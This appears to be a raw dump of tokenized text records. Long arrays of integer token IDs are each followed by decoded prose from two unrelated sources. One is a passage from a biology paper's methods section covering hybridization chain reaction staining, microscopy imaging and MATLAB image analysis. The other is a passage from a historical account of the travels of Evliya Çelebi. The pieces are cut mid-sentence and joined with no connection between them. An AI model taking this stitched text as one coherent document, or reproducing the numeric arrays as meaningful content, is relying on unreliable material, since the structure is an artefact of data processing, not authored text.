327, 13532, 247, 374, 37, 14299, 281, 1016, 14261, 434, 18748, 12275, 7133, 2193, 285, 18899, 253, 4644, 762, 253, 2553, 273, 253, 14299, 15, 187, 187, 4118, 2065, 3100, 1320, 15, 1712, 52, 1423, 94, 187, 187, 2973, 3100, 1320, 273, 20200, 369, 3636, 1754, 327, 2810, 18326, 313, 1417, 685, 577, 15115, 10, 273, 253, 4055, 273, 48456, 20200, 275, 767, 390, 625, 8123, 15, 187, 187, 4118, 35628, 15, 1712, 52, 1508, 94, 187, 187, 2214, 2014, 18379, 5481, 13, 835, 1740, 19432, 15639, 323, 253, 1072, 2303, 2670, 2470, 30155, 15, 495, 37, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 24, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 9471, 281, 9212, 247, 18379, 281, 1016, 14261, 13, 253, 3626, 2412, 273, 7133, 2193, 323, 326, 14261, 275, 1016, 5048, 497, 12650, 23352, 875, 470, 285, 337, 13, 970, 253, 7133, 2193, 432, 512, 253, 20200, 5189, 275, 326, 5048, 2439, 253, 3368, 15, 380, 18379, 2330, 342, 253, 5048, 326, 574, 253, 4585, 12650, 7133, 369, 840, 7922, 281, 253, 14261, 15, 9368, 272, 253, 2613, 1407, 953, 2470, 1470, 15, 577, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 986, 285, 697, 2905, 24864, 8442, 10, 347, 973, 347, 329, 285, 443, 9162, 475, 249, 8427, 11, 2470, 30155, 15, 608, 40, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 41, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 805, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 9471, 369, 2218, 407, 17524, 3626, 2412, 273, 7133, 2193, 275, 767, 2390, 970, 465, 14, 30799, 17524, 342, 7349, 460, 4181, 7982, 313, 76, 30799, 1159, 13, 26572, 29317, 481, 187, 187, 4118, 39927, 15, 1712, 52, 1348, 94, 187, 187, 30128, 273, 36225, 19630, 53, 1341, 811, 23747, 407, 253, 38183, 9907, 6335, 497, 9856, 8523, 1754, 327, 330, 7073, 5048, 13, 970, 12650, 2831, 14, 39305, 1332, 15, 329, 625, 22407, 12960, 369, 840, 6786, 13, 970, 475, 303, 1747, 85, 630, 11, 1159, 275, 26572, 29317, 13, 1754, 327, 20200, 3969, 281, 1027, 12955, 6887, 13, 10159, 273, 616, 16094, 5048, 13, 285, 970, 253, 330, 7073, 12960, 347, 253, 3302, 9261, 15, 187, 187, 21214, 1783, 15, 1712, 52, 1099, 94, 187, 22873, 187, 187, 3074, 4679, 497, 2684, 275, 2709, 5799, 24945, 13, 347, 4860, 275, 253, 2505, 285, 4677, 38209, 15, 36797, 1491, 10426, 275, 544, 2841, 322, 20, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 497, 2684, 347, 3786, 2529, 3951, 51, 1967, 18413, 407, 18918, 28208, 820, 14, 6790, 1320, 273, 2534, 30968, 275, 45421, 1341, 2439, 1264, 24945, 15, 25487, 13, 12650, 15577, 1491, 313, 263, 11649, 10235, 582, 530, 13, 875, 767, 2534, 30968, 13, 1269, 285, 340, 13, 310, 2931, 347, 370, 54, 9, 89, 393, 7893, 340, 10, 426, 393, 1124, 92, 41, 9, 89, 10, 428, 388, 9, 89, 393, 7893, 340, 9783, 41, 9, 89, 29119, 835, 388, 310, 253, 15579, 5118, 407, 253, 7212, 370, 41, 426, 428, 393, 2204, 578, 74, 426, 337, 1990, 42, 94, 81, 578, 74, 8633, 43321, 9, 81, 578, 74, 17137, 1876, 9990, 285, 5216, 403, 2529, 4751, 275, 253, 2505, 390, 4677, 13691, 15, 187, 187, 3233, 11659, 15, 1712, 52, 1731, 94, 187, 22928, 187, 187, 3233, 326, 403, 417, 2908, 275, 253, 2929, 403, 2130, 387, 654, 3614, 1358, 2203, 15, 1179, 17556, 15, 13808, 16, 46622, 16, 1012, 2941, 31, 16616, 3614, 1358, 14369, 15, 2061, 16, 740, 15, 1423, 4699, 16, 37, 18, 15, 1012, 2941, 22226, 390, 432, 253, 3969, 2488, 15, 187, 187, 6124, 11659, 15, 1712, 52, 1630, 94, 187, 22928, 187, 187, 9026, 84, 323, 512, 6260, 3559, 275, 436, 2929, 403, 2130, 387, 654, 3614, 1358, 2203, 15, 1179, 17556, 15, 13808, 16, 46622, 16, 1012, 2941, 31, 16616, 3614, 1358, 14369, 15, 2061, 16, 740, 15, 1423, 4699, 16 ]	B](#F5){ref-type="fig"} and [S15](#SD1){ref-type="supplementary-material"}), 30% probe hybridization buffer (Molecular Technologies) was used for hybridization followed by 4 × 15min wash at 37°C with 30% probe wash buffer (Molecular Technologies). For probes with 20bp annealing region, in the absence of competition (e.g. [Fig. 6](#F6){ref-type="fig"}), 10% hybridization buffer (composed of 10% formamide, 10% Dextran Sulfate and 2X SSC in RNAse-Free water) was used for overnight hybridization, followed by 2 × 30min wash in 30% formamide, 2X SSC, and 0.1% Triton-X 100, at room temperature. Then, after three brief washes with 5X SSCT at room temperature, sections were incubated with amplification buffer for 20 minutes, which was then replaced by amplification buffer containing snap cooled fluorescently labeled hairpins (Molecular Technologies), each at 60μM. After one hour incubation in the dark at room temperature, excess hairpins were removed by five washes with 5X SSCT over one hour. DAPI was added to the third wash to label nuclei. For samples that required only one round of hybridization (e.g. [Fig. 5B](#F5){ref-type="fig"}-[E](#F5){ref-type="fig"}), hybridization chambers were removed at this point and sections were mounted in Aqua-mount (14-390-5; Thermo Scientific) and kept in the dark at 4°C until imaging. For multiple rounds of hybridization, 5X SSCT was replaced with anti-bleaching buffer^[@R16]^ (50 mM Tris-HCl pH 8.0, 300 mM NaCl, 2XSSC, 3 mM Trolox (Sigma 238813), 0.8% D-glucose (Sigma G7528), 100-fold diluted Catalase (Sigma C3155), 0.5 mg/mL Glucose oxidase (Sigma G2133) and 0.02 U/mL SUPERase In RNase Inhibitor (Invitrogen AM2694)) and samples were imaged as described below. After imaging, anti-bleaching buffer was washed first with 5X SSCT and then with 1x DNase I buffer (Roche 4716728001) in nuclease free water. Probes and HCR hairpins were then digested by 3 hours of incubation with DNase I solution (2U/μl of the enzyme in 1x buffer) at 37°C for 3 hours. Subsequently, the samples were washed three times with pre-warmed 30% wash buffer at 37°C (first two washes for 5 min each and the third wash for 15 min). Another round of hybridization and HCR was then performed as described above. Imaging. {#S18} -------- Cell culture samples were imaged on a Nikon Eclipse Ti inverted fluorescence microscope with a Zyla 4.2 sCMOS camera (Andor). We used a 60X oil objective (1.4 NA) and acquired 20 z-stacks with 0.5 micron spacing between them for each position. Positions were chosen solely based on DAPI channel to avoid bias. Imaging settings, including the exposure times, were kept the same for all the experiments involving cultured cells. Tissue sections were imaged either, using ZEN 2.3 (blue edition), on a Zeiss LSM800 confocal microscope with a 40X (Zeiss 1.2 NA), water immersion objective ([Fig. 5B](#F5){ref-type="fig"}-[E](#F5){ref-type="fig"}), or, using MetaMorph, on a Nikon Eclipse Ti inverted microscope, equipped with a Yokogawa CSU-W spinning disc unit (Andor) and an EMCCD camera (Andor iXon Ultra), using a 40X (Nikon 1.3 NA) oil objective ([Figs. 6](#F6){ref-type="fig"} and [S15](#SD1){ref-type="supplementary-material"}) or a 60X (Nikon 1.4 NA) oil objective ([Fig. 5F](#F5){ref-type="fig"}-[H](#F5){ref-type="fig"}). The same imaging setting was used for related samples to facilitate comparison between images. Image analysis. {#S19} --------------- Images were processed and analyzed using MATLAB and Fiji^[@R68]^, mainly by custom scripts that are available here. For cell culture experiments, maximum intensity projection of the raw images were used in all analyses. ### Segmentation. {#S20} Segmentation of nuclei and dots was done automatically in MATLAB by filtering and thresholding of the images. However, the results were manually inspected to ensure accuracy. Segmentation of nuclei was done based on either CFP ([Figures 1](#F1){ref-type="fig"}, [2](#F2){ref-type="fig"}, [3](#F3){ref-type="fig"}, [5](#F5){ref-type="fig"} and their related supplementary figures) or DAPI ([Figs. 4](#F4){ref-type="fig"}, [6](#F6){ref-type="fig"}, and [S8](#SD1){ref-type="supplementary-material"}-[11](#SD1){ref-type="supplementary-material"}) channel. When relevant to the analysis (e.g. for efficiency calculations) incorrectly segmented nuclei were manually identified and removed from the analysis. Active site dots were considered to belong to a cell if their center overlapped with the nuclear segmentation of that cell. ### Intensity measurement. {#S21} An estimate of dot intensity, used for [Figures 4E](#F4){ref-type="fig"}, [5G](#F5){ref-type="fig"}-[H](#F5){ref-type="fig"}, [S2](#SD1){ref-type="supplementary-material"}, [S16](#SD1){ref-type="supplementary-material"}-[S18](#SD1){ref-type="supplementary-material"}, and [S8](#SD1){ref-type="supplementary-material"}-[12](#SD1){ref-type="supplementary-material"} was obtained by integration of pixel intensities over each dot's segment. A more precise measure of dot intensity^[@R69]^ was used for [Figures 3D](#F3){ref-type="fig"} and [S7](#SD1){ref-type="supplementary-material"}, which was based on fitting a 2D Gaussian to each dot's filtered pixel intensity values and calculating the volume under the surface of the Gaussian. ### Colocalization. {#S22} Colocalization of dots was identified based on close proximity (less than 4 pixels) of the center of segmented dots in two or more channels. ### Classification. {#S23} For single nucleotide detection, where four probes compete for the same target site ([Figs. 3D](#F3){ref-type="fig"} and [S7](#SD1){ref-type="supplementary-material"}), to assign a nucleotide to each dot, the natural log of intensity values for that dot in each channel were normalized linearly between 0 and 1, using the intensity values from all the dots detected in that channel across the experiment. The nucleotide associated with the channel that had the highest normalized intensity was then assigned to the dot. Calling the base edits ([Fig. 4](#F4){ref-type="fig"} and its related supplementary figures) as well as A and G classification in vivo ([Figs. 5G](#F5){ref-type="fig"}-[H](#F5){ref-type="fig"} and [S12](#SD1){ref-type="supplementary-material"}), was done by clustering natural log of intensity values in two groups using k-means clustering with cosine distance metric (kmeans function, MATLAB). ### Registration. {#S24} Images of HEK293T cells transduced by the combinatorial viral library were registered initially based on CFP channel, using normalized cross-correlation method. A more refined registration was then achieved, using imregtform function in MATLAB, based on dots corresponding to different variant positions, regardless of their fluorescent channel, and using the CFP registration as the initial transformation. Statistical analysis. {#S25} --------------------- All experiments were performed in multiple distinct replicates, as indicated in the text and figure legends. Mutual information calculations in [Figure S3](#SD1){ref-type="supplementary-material"} were performed as previously described^[@R70]^, by analyzing pairwise co-localization of barcodes in 564 cells across three replicates. Briefly, normalized mutual information (or uncertainty coefficient), U, between two barcodes, x and y, is defined as $U(x \mid y) = \frac{H(x) - H(x \mid y)}{H(x)}$, where H is the entropy calculated by the formula $H = - \sum_{i = 1}^{I}p_{i}\, ln(p_{i})$. All statistics and tests are described fully in the text or figure legend. Data availability. {#S26} ------------------ Data that are not included in the paper are available at <https://data.caltech.edu/records/1303> (<https://doi.org/10.22002/D1.1303>) or from the corresponding author. Code availability. {#S27} ------------------ Scripts for all analyses presented in this paper are available at <https://data.caltech.edu/records/1303> (<https://doi.org/10.22002/
[ 739, 3927, 15, 831, 369, 5635, 965, 90, 1757, 457, 84, 806, 4544, 13, 533, 344, 556, 1669, 642, 187, 15793, 273, 352, 15, 187, 187, 8389, 1273, 9455, 369, 281, 2652, 528, 66, 13, 275, 1668, 1449, 13, 342, 253, 2395, 273, 534, 187, 248, 764, 2979, 521, 1273, 4644, 15, 831, 9455, 344, 42201, 13, 2366, 187, 3113, 690, 3858, 13, 1293, 521, 3392, 457, 84, 7578, 13, 285, 1907, 11580, 187, 455, 253, 45731, 13, 41650, 13, 15039, 10999, 13, 285, 1345, 16771, 13, 344, 4895, 281, 187, 29080, 249, 879, 13, 835, 344, 369, 973, 2959, 407, 521, 3392, 15, 187, 187, 688, 253, 5068, 273, 1720, 4193, 14, 335, 14, 1173, 652, 344, 873, 562, 327, 521, 2626, 9455, 13, 187, 4609, 369, 281, 12951, 297, 7366, 15, 1623, 521, 1091, 344, 11580, 253, 2604, 18508, 457, 18708, 13, 187, 395, 7244, 387, 46329, 879, 247, 1770, 846, 344, 574, 1669, 352, 15, 187, 187, 44, 292, 9435, 75, 1950, 38900, 367, 1757, 1200, 1757, 1907, 644, 11162, 281, 253, 2208, 273, 187, 53, 21363, 1988, 615, 13, 344, 1160, 521, 1711, 3331, 13, 5635, 965, 90, 1757, 457, 84, 3392, 13, 521, 5570, 187, 255, 46329, 879, 13, 285, 2335, 5635, 965, 90, 1757, 2112, 342, 779, 15, 1583, 1669, 187, 29080, 249, 879, 275, 253, 5068, 273, 1720, 4193, 14, 335, 14, 1757, 17616, 343, 13, 285, 20311, 281, 187, 53, 21363, 1988, 615, 13, 8852, 272, 407, 611, 832, 3612, 13, 4058, 6929, 66, 13, 3052, 515, 3525, 13, 16495, 1714, 13, 19547, 19664, 13, 285, 187, 44, 379, 1665, 15, 4325, 9847, 67, 1988, 615, 344, 369, 6960, 281, 8041, 253, 795, 91, 358, 13156, 2788, 348, 19637, 64, 187, 9, 12583, 293, 14, 435, 21347, 10, 273, 443, 9409, 281, 253, 33758, 273, 13063, 729, 275, 884, 3712, 15, 754, 20311, 187, 28694, 253, 40661, 273, 253, 5418, 11936, 949, 253, 2586, 273, 253, 3506, 1757, 4019, 13, 187, 783, 2892, 285, 5740, 273, 534, 830, 253, 954, 4722, 629, 273, 187, 12018, 965, 90, 1757, 457, 84, 24376, 15, 380, 18500, 33781, 323, 13063, 729, 4925, 743, 24470, 13515, 187, 6438, 253, 13024, 273, 5635, 965, 90, 1757, 15, 754, 4745, 13308, 2220, 253, 17747, 13, 187, 13569, 1950, 20699, 404, 367, 1757, 1200, 1757, 13, 665, 2959, 779, 715, 521, 18880, 13, 285, 4845, 779, 327, 187, 4697, 253, 5918, 2205, 273, 521, 1058, 5801, 90, 1757, 15, 1583, 33497, 323, 13063, 729, 327, 253, 1249, 394, 273, 187, 2809, 66, 457, 67, 9435, 15, 5635, 965, 90, 1757, 369, 1246, 387, 253, 33758, 13, 534, 1146, 28008, 13, 369, 187, 42750, 13, 285, 344, 11704, 253, 28887, 26805, 15858, 9435, 457, 84, 8544, 13, 534, 4895, 281, 253, 187, 14201, 553, 66, 407, 2659, 15, 2058, 378, 21762, 518, 77, 1757, 6156, 344, 48053, 323, 46329, 879, 13, 533, 369, 187, 88, 17456, 264, 13, 285, 18993, 342, 760, 767, 20086, 562, 273, 253, 1142, 5207, 344, 574, 187, 2052, 2231, 275, 521, 24376, 949, 3506, 1757, 4019, 285, 46095, 1661, 571, 15, 754, 369, 13044, 327, 187, 783, 8852, 273, 611, 1031, 376, 13, 40689, 344, 20311, 281, 46329, 879, 15, 187, 187, 688, 884, 2417, 313, 1036, 1857, 10, 253, 18500, 369, 14662, 562, 13, 347, 369, 3839, 11267, 9698, 13, 323, 187, 266, 26018, 1411, 47832, 13, 285, 5635, 965, 90, 1757, 48053, 327, 4450, 253, 6215, 273, 187, 783, 8040, 438, 9435, 367, 1757, 1200, 1757, 13, 714, 6187, 84, 2375, 367, 1757, 1200, 1757, 13, 275, 253, 5350, 273, 795, 46, 1954, 11105, 249, 14, 67, 1757, 1200, 1950, 4414, 60, 20, 62, 187, 510, 26018, 13, 2299, 13, 1907, 14435, 387, 253, 3010, 66, 13, 8423, 3531, 187, 20026, 30011, 571, 13, 835, 5635, 965, 90, 1757, 369, 1246, 387, 253, 5141, 273, 253, 19887, 273, 187, 998, 15, 46942, 2771, 13, 285, 253, 33758, 273, 330, 1351, 66, 28, 846, 534, 344, 11612, 2067, 187, 46659, 37390, 621, 281, 18363, 2056, 571, 285, 1023, 7564, 4173, 15, 535, 544, 20, 62, 795, 15155, 11105, 249, 14, 67, 1757, 1200, 1950, 7481, 253, 7015, 273, 253, 354, 7041, 398, 273, 24861, 15, 187, 187, 2374, 521, 1091, 281, 46329, 879, 344, 1160, 16669, 323, 521, 15515, 187, 19923, 2191, 13, 342, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 36250, 367, 1757, 1200, 1757, 13, 665, 369, 387, 326, 673, 187, 40364, 14176, 273, 8024, 8260, 6187, 78, 13, 285, 5207, 5635, 965, 90, 1757, 11704, 347, 21334, 187, 1171, 253, 2840, 14, 5967, 387, 8024, 8260, 6187, 78, 15, 7160, 7622, 2242, 949, 12951, 297, 7366, 13, 187, 52, 23818, 6362, 13, 378, 32250, 1950, 13, 308, 6187, 84, 571, 13, 3052, 7766, 571, 13, 427, 1950, 72, 19637, 26805, 13, 285, 597, 4925, 8024, 8260, 6187, 78, 13, 187, 30819, 1160, 28089, 8661, 15, 35775, 16906, 253, 367, 1757, 1200, 1757, 2197, 779, 327, 247, 187, 2230, 281, 253, 15858, 9435, 273, 19660, 42360, 91, 13, 342, 247, 1859, 281, 12454, 247, 6264, 187, 2388, 17406, 15, 831, 369, 5635, 965, 90, 1757, 457, 84, 806, 9455, 715, 10400, 571, 15, 1623, 521, 1039, 187, 248, 11580, 17218, 348, 78, 13306, 249, 13, 427, 18980, 45627, 9435, 13, 285, 3189, 5047, 28, 285, 4895, 407, 41686, 9435, 13, 187, 21419, 25206, 1950, 77, 13, 444, 1069, 9435, 13, 25958, 6187, 13, 12658, 67, 423, 13, 611, 45801, 384, 13, 253, 8342, 273, 39293, 7341, 9435, 13, 285, 253, 187, 4371, 560, 273, 14181, 73, 1950, 32518, 15, 13728, 1897, 846, 344, 369, 969, 711, 4066, 2147, 281, 444, 1069, 9435, 13, 187, 251, 10884, 432, 534, 344, 30974, 521, 12803, 387, 253, 2840, 14, 5967, 15, 754, 187, 4238, 13, 2299, 13, 28438, 11371, 13, 672, 253, 367, 1757, 1200, 1757, 2197, 779, 327, 247, 7517, 281, 187, 783, 14176, 273, 253, 5003, 75, 8765, 273, 500, 9435, 6362, 285, 35472, 6187, 78, 13, 275, 1340, 281, 4822, 187, 783, 10824, 534, 574, 644, 6960, 407, 247, 795, 44, 700, 85, 14, 74, 14, 84, 379, 41980, 4414, 2726, 436, 187, 681, 2230, 344, 11580, 253, 15918, 273, 11086, 487, 11180, 13, 500, 9435, 6362, 13, 1680, 468, 13, 35472, 6187, 78, 13, 187, 35832, 1962, 76, 7080, 16236, 285, 443, 9409, 13, 273, 534, 6158, 253, 330, 1730, 7305, 574, 387, 326, 673, 187, 42533, 10023, 15, 5635, 965, 90, 1757, 21153, 697, 5141, 13, 285, 369, 253, 806, 281, 187, 856, 7041, 327, 697, 8099, 253, 6009, 273, 253, 1680, 77, 30836, 15, 187, 187, 510, 46095, 22987, 507, 1907, 36733, 264, 327, 253, 8120, 273, 581, 273, 253, 330, 1730, 471, 187, 249, 29488, 13, 247, 2063, 2473, 26018, 715, 46095, 1661, 571, 369, 20023, 407, 1023, 301, 1950, 187, 13924, 1314, 367, 1757, 1200, 1757, 28, 285, 5635, 965, 90, 1757, 1907, 689, 14, 6321, 253, 2586, 342, 521, 499, 37608, 187, 14824, 13, 4895, 281, 8024, 8260, 6187, 78, 13, 40689, 13, 327, 253, 1283, 394, 273, 1503, 300, 4530, 457, 1473, 13, 344, 873, 562, 187, 251, 521, 1091, 281, 46329, 879, 15, 3032, 367, 1757, 1200, 1757, 13, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 36250, 13, 187, 30819, 22134, 6142, 5911, 1411, 253, 6162, 70, 13, 344, 3560, 779, 432, 8024, 8260, 6187, 78, 187, 10489, 47833, 1757, 17616, 13, 8024, 5282, 75, 9435, 13, 1608, 18463, 76, 4595, 14, 8701, 26805, 13, 418, 50031, 1950, 76, 13, 7612, 91, 338, 19664, 13, 611, 412, 42360, 13, 187, 40, 360, 763, 13, 500, 263, 6187, 78, 13, 285, 14391, 28382, 15, 754, 2378, 6497, 715, 253, 3564, 273, 4848, 1653, 13, 533, 187, 9520, 1055, 272, 521, 8773, 13, 344, 3560, 521, 6303, 281, 743, 3892, 66, 15, 187, 510, 21251, 273, 436, 3874, 417, 27382, 253, 367, 1757, 1200, 1757, 281, 6294, 2994, 187, 484, 275, 253, 19887, 13, 344, 369, 969, 26337, 281, 1379, 253, 1673, 15, 3032, 1270, 187, 595, 657, 1757, 23667, 26805, 367, 1757, 1200, 1757, 13, 327, 3692, 2395, 344, 574, 6142, 5911, 13, 2167, 344, 574, 187, 1257, 15030, 285, 1160, 16154, 2067, 367, 1757, 1200, 7766, 313, 35094, 296, 5207, 369, 611, 412, 250, 300, 1950, 13, 187, 6438, 4515, 19651, 347, 253, 806, 8481, 657, 16130, 1950, 83, 273, 253, 2021, 582, 369, 387, 187, 6275, 16473, 13, 285, 5339, 407, 44900, 1200, 1950, 83, 367, 1757, 1200, 1757, 15, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 36250, 187, 49, 1757, 1200, 1757, 13, 2299, 13, 7303, 521, 13909, 594, 973, 13, 326, 344, 2797, 417, 760, 187, 8701, 34030, 533, 247, 747, 14286, 15, 5635, 965, 90, 1757, 369, 342, 779, 387, 34827, 67, 36526, 26805, 13, 672, 187, 248, 2959, 253, 9260, 273, 521, 3392, 457, 84, 2471, 13, 285, 326, 512, 521, 187, 9134, 574, 13547, 281, 521, 3213, 14, 13875, 285, 521, 18903, 15, 1623, 4854, 436, 187, 248, 2335, 3553, 273, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 13, 285, 20311, 407, 308, 4063, 293, 1950, 13, 20081, 1757, 7261, 1950, 13, 187, 395, 611, 1950, 6156, 13, 281, 46329, 879, 13, 835, 344, 7244, 387, 253, 673, 273, 253, 187, 17124, 10532, 13, 407, 534, 322, 503, 9435, 16120, 30856, 369, 372, 7334, 13, 285, 36250, 8019, 15, 187, 42750, 281, 253, 23399, 15, 5635, 965, 90, 1757, 457, 84, 2395, 273, 436, 10532, 13, 285, 273, 253, 187, 26985, 19522, 14142, 275, 352, 13, 310, 594, 1199, 253, 625, 4722, 13, 326, 253, 7015, 187, 71, 25755, 614, 273, 309, 4946, 73, 30856, 13, 253, 8530, 500, 27497, 1950, 611, 1689, 1432, 11430, 13, 273, 3692, 24492, 344, 187, 46535, 3748, 13, 574, 644, 5635, 965, 90, 1757, 457, 84, 2143, 14, 47530, 15, 5635, 965, 90, 1757, 13, 2299, 13, 574, 187, 20394, 973, 4127, 407, 779, 13, 285, 2959, 347, 271, 1711, 2143, 14, 47530, 13, 13515, 187, 9131, 521, 1211, 2965, 13, 285, 326, 273, 521, 17292, 6303, 13, 309, 4946, 73, 30856, 13, 534, 187, 38472, 2348, 275, 253, 807, 884, 3680, 313, 1036, 2385, 481, 187, 187, 12018, 965, 90, 1757, 1735, 7660, 2994, 281, 322, 3093, 13838, 26805, 8524, 442, 91, 1757, 367, 1757, 1200, 1757, 13, 665, 369, 187, 40364, 15636, 273, 47419, 13, 347, 795, 15155, 11105, 249, 14, 67, 1757, 1200, 1950, 64, 313, 266, 3906, 534, 13, 187, 284, 1078, 5393, 13, 344, 574, 2918, 762, 714, 6187, 84, 2375, 367, 1757, 1200, 1757, 13, 275, 253, 26018, 187, 26204, 330, 1351, 66, 582, 285, 347, 795, 3351, 30836, 12828, 22009, 7481, 390, 14959, 273, 253, 1113, 18444, 273, 187, 81, 300, 737, 14381, 281, 3189, 18442, 15, 754, 1669, 46329, 879, 275, 253, 5068, 273, 27700, 457, 67, 9435, 187, 740, 3680, 313, 1036, 2385, 481, 187, 187, 510, 2626, 4644, 764, 2979, 342, 271, 2395, 273, 521, 20117, 1270, 187, 19923, 2191, 13, 534, 369, 281, 47419, 15, 754, 574, 28438, 7244, 387, 436, 1659, 187, 9453, 344, 369, 2197, 407, 8524, 442, 91, 1757, 367, 1757, 1200, 1757, 327, 247, 7517, 281, 46329, 879, 15, 831, 187, 19923, 2191, 369, 2684, 1077, 9086, 13, 285, 344, 4245, 642, 1798, 2395, 187, 1171, 352, 13, 760, 29570, 326, 344, 1313, 690, 273, 253, 4848, 1653, 15823, 281, 253, 187, 14824, 273, 611, 28382, 343, 75, 1950, 29256, 12408, 1950, 15, 187, 187, 1328, 4895, 342, 253, 1072, 711, 20559, 281, 47419, 13, 40689, 344, 873, 562, 327, 187, 8701, 31514, 5695, 281, 3189, 18442, 13, 949, 10253, 15, 4683, 436, 31514, 5695, 642, 2395, 187, 261, 1677, 275, 776, 7714, 3491, 13, 347, 352, 3133, 344, 4962, 1078, 344, 574, 187, 47954, 253, 789, 15, 1707, 310, 642, 1953, 13, 2299, 13, 347, 281, 253, 673, 387, 187, 4609, 352, 369, 20023, 13, 1580, 275, 521, 2395, 273, 253, 19485, 273, 322, 503, 9435, 187, 24354, 50031, 8019, 15, 344, 3054, 326, 344, 369, 816, 275, 673, 13, 846, 521, 1091, 432, 187, 5072, 18442, 949, 10253, 13, 281, 3894, 275, 253, 18735, 273, 253, 10170, 12103, 407, 187, 24354, 442, 91, 1757, 367, 1757, 1200, 1757, 689, 253, 47756, 13505, 13, 275, 253, 807, 884, 3046, 15, 3954, 5635, 965, 90, 1757, 457, 84, 2395, 187, 1171, 436 ]	issaries. This was Evliyá’s first campaign, but he has left no account of it. His second journey was to Brousa, in 1640, with the account of which he commences his second volume. This journey he undertook, together with some friends, without his father’s consent, and having visited all the baths, monuments, mosques, and public walks, he returned to Constantinople, where he was well received by his father. In the beginning of Rebi-ul-evvel he set out on his third journey, which was to Nicomedia. On his return he visited the Princes’ Islands, and arrived at Constantinople a month after he had left it. Ketánjí Omar Páshá having been appointed to the government of Trebisonde, he made his old friend, Evliyá’s father, his agent at Constantinople, and took Evliyá along with him. They left Constantinople in the beginning of Rebi-ul-ákhir, and proceeded to Trebisonde, coasting by Kefken, Heraclea, Amassera, Sinope, Samsún, and Kherson. From Trebisonde he was ordered to attend the _zemburukchís_ (camel-artillery) of Gonia to the siege of Azov in 1051. He proceeded along the shores of the Black Sea through the country of the Abáza, the history and description of which form the most interesting part of Evliyá’s travels. The fleet destined for Azov reached Anapa shortly after the arrival of Evliyá. He immediately waited upon the commander, Delí Husain Páshá, who received him into his suite, and placed him on board the galley of his kehiyá. They sailed for Azov on the 12th of Sha’bán. Evliyá was present at the siege, which being unsuccessful, was raised, and he accompanied the Tatár Khán’s army, which returned to the Crimea by land. At Bálakláva he embarked for Constantinople, but was wrecked, and escaped with only two slaves out of the many whom he had collected in his travels through Abáza and Mingrelia. He was thrown on the coast of Kilyra, whence he proceeded to Constantinople. In 1055 (1645) the fleet was fitted out, as was generally rumoured, for an expedition against Malta, and Evliyá embarked on board the ship of the Capudán Páshá, Yúsuf Páshá, in the capacity of _Móazzin-báshí_.[3] The expedition, however, having touched at the Morea, suddenly turned upon Candia, where Evliyá was present at the reduction of the castle of St. Todero, and the siege of Canea; after which he attended several military excursions to Dalmatia and Sebenico. [3] _Moazzin-báshí_, the chief of the proclaimers of prayers. On his return to Constantinople he made arrangements for his sixth journey, with Defterdár Zádeh Mohammed Páshá, who was at that time appointed governor of Erzerúm, and whom Evliyá accompanied as clerk of the custom-house at Erzerúm. Their route lay through Nicomedia, Sabanja, Bólí, Túsia, Amásia, Nígísár, and they reached Erzerúm, having made seventy stages. Shortly afterwards the Páshá sent him on a mission to the Khán of Tabríz, with a view to facilitate a commercial intercourse. This was Evliyá’s first journey into Persia. On his way he visited Etchmiazin, Nakhcheván, and Merend; and returned by Aján, Erdebíl, Eriván, Bakú, Derbend, Kákht, the plain of Chaldirán, and the fortress of Akhíska. Ten days after he was again despatched to Eriván, on returning from which he resumed his duties at the custom-house. He was, however, scarcely settled, when the Páshá sent him on a mission to the governor of the Sanjaks of Jánja and Tortúm, in order to collect the troops which had been ordered by a _Khatt-i-sheríf_. With this commission he visited the towns of Baiburd, Jánja, Isper, Tortúm, Akchekala’, and Gonia, of which latter the Cossacks had at that time taken possession. Evliyá witnessed its reduction, and was the first to proclaim on its walls the faith of the Islám. The Mingrelians having revolted on the occasion of one of the Cossack inroads, a predatory expedition into Mingrelia was undertaken by Seidí Ahmed Páshá; and Evliyá having over-run the country with his plundering party, returned to Erzerúm, whence, on the 18th of Zilka’da, he set out on his return to Constantinople. His Páshá, Defterdár Zádeh Mohammed, having openly rebelled against the Porte, he followed him from Erzerúm through Kumákh, Erzenján, Shínkara-hisár, Ládík, Merzifún, Koprí, Gumish, Jorúm, and Tokát. He once fell into the hands of robbers, but fortunately effecting his escape, he followed his master to Angora. The inhabitants of this town not permitting the Páshá to shut himself up in the castle, he was again obliged to take the field. His great ally Várvár Páshá, on whose account he had rebelled, though he had beaten and made prisoners several Páshás (amongst whom was Kopreilí, afterwards celebrated as the first Grand Vezír of the family), was at last defeated, and killed by Ibshír Páshá. Defterdár Zádeh Mohammed Páshá, however, managed his affairs so well, that he obtained not only his pardon but a new appointment. Evliyá was with him at Begbázár, when he received the intelligence of his father’s death, and that all his property had fallen to his step-mother and his sisters. On hearing this he took leave of Defterdár Zádeh, and proceeded by Turbelí, Taráklí, and Kíva, to Constantinople, where he arrived at the time of the great revolution, by which Sultán Selím was deposed, and Mohammed IV. raised to the throne. Evliyá’s account of this revolution, and of the principal actors in it, is so much the more interesting, that the chief favourite of Ibrahím, the famous Jinjí Khoajeh, of whose ignorance he makes mention, had been Evliyá’s school-fellow. Evliyá, however, had been well treated by him, and received as an old school-fellow, shortly before his own fall, and that of his royal master, Ibrahím, which happened in the year 1058 (1648). Evliyá next attached himself to Silihdár Murtezá Páshá, who was appointed Governor of Damascus, as _Moazzin-báshí_ (an office which, as before mentioned, he had held under Yúsuf Páshá, in the expedition against Canea), and as _Imám Mahmil_, or priest of the caravan of pilgrims to Mecca. He left Constantinople in the beginning of Sha’bán 1058 (1648). The third volume commences with an account of his seventh great journey, which was to Damascus. He had scarcely arrived at this place when he was sent by Murtezá Páshá on a mission to Constantinople. This journey was performed very rapidly, and he gives no particular account of it, only mentioning that he met some of the robbers belonging to the party of Kátirjí Oghlí. He returned with the same despatch to Damascus, whence he set out on his pilgrimage to Mecca, through Egypt. Of this pilgrimage no account is given in our manuscript copy, as it seems he died before he had completed the work. There is no question, however, as to the time at which it was undertaken, 